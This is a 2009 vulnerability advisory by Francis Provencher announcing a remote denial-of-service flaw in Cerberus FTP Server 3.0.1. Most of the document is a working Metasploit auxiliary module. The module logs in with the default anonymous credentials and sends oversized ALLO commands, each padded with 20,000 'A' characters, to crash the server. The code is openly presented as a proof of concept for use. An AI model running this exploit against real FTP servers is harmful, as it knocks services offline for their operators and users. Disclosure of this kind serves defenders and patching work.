Cerberus FTP 3.0.1 Denial Of Service

`#####################################################################################  
  
Application: Cerberus FTP 3.0.1  
  
Platforms: Windows XP Professional SP2  
  
crash: N/A  
  
Exploitation: remote DoS  
  
Date: 2009-08-24  
  
Author: Francis Provencher (Protek Research Lab's)  
  
  
#####################################################################################  
  
1) Introduction  
2) Technical details  
3) The Code  
  
  
#####################################################################################  
  
===============  
1) Introduction  
  
===============  
Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.  
  
#####################################################################################  
  
============================  
2) Technical details   
============================  
  
The validation of some ftp commands are not made by the server. This lead to a a DoS....   
  
  
  
#####################################################################################  
  
===========  
3) The Code  
===========  
  
Proof of concept DoS code;  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Cerberus FTP command ALLO overflow',  
'Description' => %q{  
You need to have a valid login  
so you can run ALLO command.  
},  
'Author' => 'Francis Provencher "Protek Research Lab's",  
'License' => MSF_LICENSE,  
'Version' => '1',  
'References' =>  
  
'DisclosureDate' => 'Aug 24 2009'))  
  
# They're required  
register_options([  
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),  
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])  
])  
end  
  
def run  
return unless connect_login  
  
print_status("Sending commands...")  
  
# We want to try to wait for responses to these  
raw_send("ALLO #{'A' * 20000}\r\n")  
raw_send("ALLO #{'A' * 20000}\r\n")  
  
disconnect  
end  
end  
  
  
#####################################################################################  
  
`